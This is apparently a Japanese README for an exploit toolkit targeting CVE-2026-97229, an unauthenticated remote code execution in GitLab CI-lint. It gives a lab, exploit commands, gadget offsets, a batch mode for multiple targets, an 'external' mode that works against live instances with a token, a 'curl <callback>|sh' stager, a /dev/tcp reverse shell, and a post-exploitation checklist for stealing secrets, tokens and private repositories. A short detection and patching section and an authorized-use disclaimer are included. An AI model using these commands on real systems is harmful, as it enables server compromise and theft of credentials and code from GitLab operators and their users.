
CVE-2026-97229(GitLab CI-lint の Onigmo 正規表現整数オーバーフローにより RCE に至る未認証の脆弱性)に関する Docker ラボと Python エクスプロイト。プロービング、レイアウト導出、ポストエクスプロイテーションを含む。
許可されたテストのみ。 これは、あなたが所有している、または明示的にテストを許可されているシステムに対してのみ使用してください (バグバウンティのスコープ、クライアントエンゲージメント、自身のラボ)。不正な使用は違法です。
Onigmo マッチャーを破壊し、実行を libruby.so 内の system() ガジェットへリダイレクトする、認証不要の CI-lint リクエスト:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
最終リクエストは未認証で実行できますが、悪意のある CI 設定を仕込むには公開プロジェクトへの書き込み権限(または自己登録と公開プロジェクトを許可するインスタンス)が必要です。
| 項目 | 値 |
|---|---|
| 影響あり(検証済み) | 19.2.0–19.2.7、19.3.0–19.3.3、19.4.0–19.4.1 |
| 悪用不可 | 19.2.8、19.3.4(例外、下記参照)、19.3.5、19.4.2。19.2.3 には CE イメージなし |
| トリガー | 未認証の GET /api/v4/projects/:id/ci/lint |
| 前提条件 | 到達可能性 + 公開プロジェクトへの書き込み権限(トークン、侵害されたアカウント、またはオープンなサインアップ) |
| 影響 | GitLab コンテナ内で git(uid 998)としてコマンド実行 |
| PoC の制約 | x86_64 ビルド。レイアウトはバージョン文字列ではなく libruby.so のビルドごとに異なる |
| アドバイザリの境界 | 19.2.x < 19.2.8、19.3.x < 19.3.5、19.4.x < 19.4.2 |
19.3.4 はアドバイザリで影響ありと記載されていますが、同梱の
libruby.soは脆弱な 展開パスに到達しません — 悪用可能にすることはできませんでした(repro/evidence/2026-10-18-full-matrix/)。
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
クラウドアカウントもSSHも不要です。ラボはプレーンなDocker(ローカルデーモン、DOCKER_HOST、またはdockerコンテキスト)で動作します。
Docker Desktopでは --callback-host host.docker.internal を追加してください。
include.rules.exists.regexp と110バイトのリポジトリパスを含むブランチをプッシュします。{5(?#)7805} として記述されるため、Rails側の繰り返しガード(REPEAT_MAX=1000)には検出されません。call 命令と system@plt のオフセットを供給し、VMをリダイレクトします。curl -s <callback>|sh で、git サービスユーザーとしてシェルを取得します。./lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
ランチャーはエクスプロイトに必要なメモリ設定(sidekiq off、Pumaワーカー1つ、小さなPostgresバッファ、--memory 6.5g --shm-size 256m)を適用し、UIを待機してrootパスワードを設定します。
lab/README.md / lab/README_CN.mdを参照してください。
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| フィールド | 意味 |
|---|---|
http | GET /users/sign_in のステータス |
version | コンテナから読み取った GitLab のバージョン(コンテナアクセスがない場合は null) |
class | アドバイザリの分類: affected / patched / not-listed / unknown |
libruby_md5 | 対象コンテナの libruby.so のビルド識別子 |
layout | finish / gadget / step(ビルドが既知または導出可能な場合のみ) |
exploitable | レイアウトが利用可能かどうか。class=affected はこれを意味しない |
layout_source | table、derived、または no-overflow-in-build |
class: "unknown" は、コンテナ/バージョン情報が利用できなかったことを単に意味します — URL のみの対象では、ツールはレイアウトを分類または導出できません。以下の「外部ターゲット」を参照してください。
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
成功基準: lint が dropped(HTTPError) または http(502) であり、かつ output が uid=998(git) で始まること。valid:true を伴う 200 は、そのビルドが脆弱でないことを意味する。
| ライン | 悪用可能 | パッチ適用済み / 悪用不可 |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 には CE イメージがない |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (マッチャーが展開されない), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
ビルドごとの証拠: repro/evidence/2026-10-18-full-matrix/
(中文)。
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container は現在のエクスプロイトパス(libruby/layout + rails runner)に必須です。layout は、ツールが読み取れないビルド向けの任意のオーバーライドです。
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
各ターゲットに対して、順番に: probe → exploit → RCE の場合は post-exploitation
(exploit/post/collect.sh; --post-command-file で上書き、--no-post で無効化)。
--probe-only はフィンガープリンティング後に停止します。いずれかのターゲットで RCE が成立した場合、終了コードは 0 です。
ペイロードにはビルドごとの 3 つの定数 (finish、system@plt ガジェット、UTF-8 ステップ) が必要です。解決順序:
layout (0x… 0x… 12345);libruby.so から exploit/layout.py を介してオンザフライで導出。既知の脆弱なビルドはすべて 2 つ のレイアウトのみを使用します: 0x486DA9/0x31EE29/1249885 と
0x4885A9/0x31E809/1256138。
--mode external は HTTP と PAT (api スコープ) のみを必要とします: API 経由で公開プロジェクトを作成し、
oauth2:<token> でプッシュし、認証不要の lint を発火させ、その後プロジェクトを削除します。
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80
GET /api/v4/version → version/md5 テーブル。未知のバージョンの場合は両方の候補レイアウト(--force-unknown-version はバージョンチェックをスキップ);api スコープを持つ PAT。これがない場合、ツールは no-write-path を報告し、何も送信しない;cb.example:80)。これより長いアドレスはリクエスト前に拒否される;--scope と --authorized が必須。--dry-run はフィンガープリントのみ;GET /api/v4/projects/:id で確認);エクスプロイトは**コンテナ内の git(uid 998)**として着地する — GitLab 全体の侵害にはこれで十分である。
プレイブック: exploit/post/README.md / 中文。
# one-shot triage: identity, secrets, DB, repos, sudo, docker.sock
python3 exploit/cve97229.py --url ... --container ... --command-file exploit/post/collect.sh
| 対象 | 値 |
|---|---|
/etc/gitlab/gitlab-secrets.json | db_key_base、otp_key_base、runner/JWT キー。CI 変数とトークンを復号する |
database.yml + gitlab-rails runner | 直接 DB、PAT、管理者ユーザー、CI 変数 |
/var/opt/gitlab/git-data/repositories | プライベートなものを含むすべてのリポジトリ |
Ci::Runner.pluck(:token) | 不正な runner を登録する |
gitlab.rb | SMTP/LDAP、オブジェクトストレージ、レジストリキー |
対話型シェル: リスナーとともに --command 'bash -i >& /dev/tcp/<host>/4444 0>&1'。
19.2.8+、19.3.5+、19.4.2+ にアップグレードしてください。
3つのシグナル:
GET /api/v4/projects/*/ci/lint で badgateway: failed to receive response: EOF;regexp_matcher.rb:58: [BUG] Segmentation fault;( ?# ) の分割量指定子、繰り返される [[:word:]]、または
\U00010400 を含む 110 バイトの UTF-8 パス。